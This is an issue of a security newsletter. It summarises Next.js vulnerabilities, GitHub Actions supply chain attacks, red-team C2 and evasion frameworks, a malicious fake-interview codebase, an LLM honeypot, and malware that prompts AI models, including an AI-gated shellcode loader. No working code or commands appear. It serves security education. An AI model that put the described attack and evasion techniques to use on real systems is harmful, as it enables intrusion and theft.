[tl;dr sec] #302 – LLM Honeypot Catches Threat Actor, Supply Chain Compromise Survey, AI-powered Malware

This week Semgrep had our Customer Advisory Board (CAB), where I got to hang out with and learn from a bunch of security leaders from cool companies, some of whom I use their products.

(Sidenote thought to early career folks: living in the Bay Area in general has been good for meeting people at so many companies, it’s crazy.)

I especially enjoyed having candid, off-the-record conversations about how security programs are being run, what’s going well, what’s tough, and what’s next.

It seems like there’s some skepticism about AI, but broadly optimism and interest.

People were already prototyping things like automating alert triage, helping developers migrate to paved paths, design doc reviews, and even complex agentic workflows.

We also moved into our new office this week. Very strange, feeling like a real company  

We threw an office opening party and somehow the mayor of San Francisco was there? See the web version for a photo of me with Daniel Lurie (H/T Margaret for taking it).

Stop guessing about Google Workspace risk. Get a clear, five-minute readout with Material’s free Security Scorecard. Receive a risk score, domain-specific analysis across email, files, accounts, and global configurations, plus a prioritized to-do list. No integrations or permissions required. Built from real-world incidents protecting hundreds of orgs. Built for lean teams, IT owners, and CISOs. Benchmark your Google Workspace security posture and fix your most critical security gaps.

Next.js Security Testing Guide for Bug Hunters and Pentesters
DeepStrike’s Daoud Youssef provides a guide to penetration testing Next.js applications, covering the framework’s core features (server-side rendering, static site generation, incremental static regeneration, middleware, API routes) and common security vulnerabilities, including: server-side and client-side template injection, XSS, CSRF, sensitive data leakage via __NEXT_DATA__, cache poisoning, SSRF (image components, Server Actions), retrieving the source map, and dependency confusion.

Next.js and the Mutated Middleware
RootSys’ Dominik Prodinger describes an SSRF vulnerability in Next.js (CVE-2025-57822) that occurred when user-controlled headers are insecurely passed to middleware using NextResponse.next() . The bug allows attackers to control HTTP methods, set arbitrary headers, and observe full responses, enabling SSRF attacks, cache poisoning, and even leaking sensitive internal headers like Vercel OIDC tokens from affected applications.

Startup Security: A Framework From Series B to F Funding
Experience-earned insights from Tad Whitaker on building security at startups from Series B to F funding, covering team structure, essential programs, and resource allocation. He recommends prioritizing securing your environment, customer, and employee data over product security features initially, hiring a Product Security Architect early, and maintaining security-to-employee ratios of 1:60 for medium-risk companies, and investing in IT for cost-effective risk reduction.

Tad also shares thoughts on security operations, GRC, and product security teams, security advocacy programs, penetration testing, strategic projects, risk assessment, security champions, budgets, metrics, and more.

Tired of wondering if your next install is pulling in malware? Socket Firewall blocks zero-day malicious packages before they can hit your system or CI build, including transitive dependencies you didn’t even install directly. It’s 100% free, works out of the box, and doesn’t need an API key or setup. Just prefix your install command with sfw. It works with npm, yarn, pnpm, pip, uv, cargo, and more to protect your installs from the next supply chain attack.

Essential mitigations for professional maintainers: implement phishing-resistant authentication (passkeys/WebAuthn), avoid control handoffs, and eliminate privileged attacker-controlled GitHub Actions triggers (e.g. pull_request_target).

I love this systematic, ecosystem-level review and focusing on the meta causes and potential solutions.

They exploited “Pwn Requests” (executing arbitrary code from pull requests in privileged workflows) combined with “Cache Poisoning” (seeding malicious files into GitHub Actions caches that would later be restored in privileged jobs), using tools like Depi (for dependency tree resolution) and Gato-X/Cacheract (for exploitation) to demonstrate how attackers could escalate from opening a pull request to publishing rogue versions of these popular JavaScript libraries.

I applaud the remarkable restraint of Roni and Adnan to not move to a country with weak extradition policies, turn black hat, and use all of the ridiculous access they’ve been able to gain through supply chain attacks to backdoor most of the Internet for $profit.

Currently supports: Timesketch for collaborative forensic timeline analysis, Yeti for DFIR and threat intelligence tracking, OpenRelik (a platform that streamlines collaborative digital forensic investigations), GRR for incident response and remote live forensics, Hashr to build your own hash sets based on your data sources, and dfTimewolf for orchestrating forensic collection.

A Practitioner’s Field Notes on Google Workspace’s Blind Spots
Shasheen Bandodkar describes blind spots in Google Workspace security, highlighting risks in identity management (over-privileged accounts, unrotated API keys, MFA limitations), data governance (shadow IT, gen AI data governance, orphaned files and runaway sharing links), and third-party app ecosystems (unvetted apps, OAuth token revocation isn’t automatic, encrypted files bypass defenses). The post concludes with hardening recommendations.

TIL: Uninstalling a Google Workspace app doesn’t automatically revoke the OAuth tokens the app was granted?!   

dobin/DetonatorAgent
By Dobin Rutishauser: A cross-platform web API for red teamers that executes malware on VMs and collects EDR logs to determine if initial access chains would be detected.

0xflux/Wyrm
By @0xfluxsec: An open-source, Rust-based post-exploitation red team framework designed to compete with tools like Cobalt Strike, Mythic, and Sliver, featuring: custom below-TLS encryption to defeat perimeter inspection tools, anti-sandbox techniques, dynamic payload generation, IOC encryption to assist in anti-analysis and anti-YARA hardening, and more.

How I Almost Got Hacked By A ‘Job Interview’
David Dodda describes how he nearly fell victim to a sophisticated LinkedIn scam targeting developers through a fake coding interview from a seemingly legitimate blockchain company. Before running npm start he prompted Cursor: “Before I run this application, can you see if there are any suspicious code in this codebase? Like reading files it shouldn’t be reading, accessing crypto wallets etc.”

And it found some sneaky obfuscated code that downloads malware and steals crypto wallets, files, and passwords. Yikes!

Super cool that a straightforward prompt was sufficient to discover some malicious backdoor code. I’d be curious what percent of the time this is effective.

SSH LLM Honeypot caught a real threat actor
Mario Candela walks through how the LLM-powered honeypot Beelzebub (GitHub) can trick a threat actor into revealing their tactics and infrastructure. Mario configured an SSH-based honeypot and observed the threat actor downloading several binaries with known exploits from a compromised Joomla CMS server, attempting to execute a Perl script to connect the server to a botnet, and he was able to retrieve the IRC channel details that were being used for command and control.

In issue #214 I called out Galah, an LLM-powered web honeypot by Adel Ka. I think this idea is very promising- LLMs can simulate high quality deception environments that can be programmatically monitored so high quality TTPs can be automatically extracted.

The emerging use of malware invoking AI
Wiz’s Scott Piper examines recent malware campaigns that invoke AI within their payloads, including LameHug (which prompts HuggingFace for system reconnaissance commands), the Amazon Q Developer Extension compromise (delete all files and cloud resources), s1ngularity (a supply chain attack using Claude, Gemini, and Q to locate sensitive files), and PromptLock (used an LLM to understand the files on the system and make decisions from that, including generating a personalized ransom note).

These attacks were largely ineffective due to LLM guardrails, and the attackers likely could have achieved better results by pre-generating code rather than relying on generating the code at runtime using AI. But this does likely indicate early steps toward potential agentic AI malware that could adapt to environments.

AI Gated Loader: Teaching Code to Decide Before It Acts
SpectreOps’ John Wotton introduces the idea of “AI gated loaders”, a new approach to shellcode execution that collects telemetry (does this host look like a real user workstation or a sandbox? Is Defender or other monitoring active?), applies policy with an LLM, and executes only when OPSEC rules are met.

The Hybrid Autonomous Logic Operator (HALO) project demonstrates this technique by gathering system snapshots (processes, network activity, user presence signals), prompting an LLM for a JSON decision with confidence score, and enforcing fail-closed execution that aims to provide red teams with safer, more realistic simulations compared to traditional loaders that execute blindly regardless of EDR presence.

Neat idea and awesome that they’ve open sourced this. I wonder if HTTP calls to a model provider from a random (e.g. marketing) user’s machine would stand out, and OSS models are probably too big to send Maybe you just tunnel the traffic / obfuscate it like normal C2 traffic.

Have questions, comments, or feedback? Just reply directly, I’d love to hear from you.

If you find this newsletter useful and know other people who would too, I’d really appreciate if you’d forward it to them

P.S. Feel free to connect with me on LinkedIn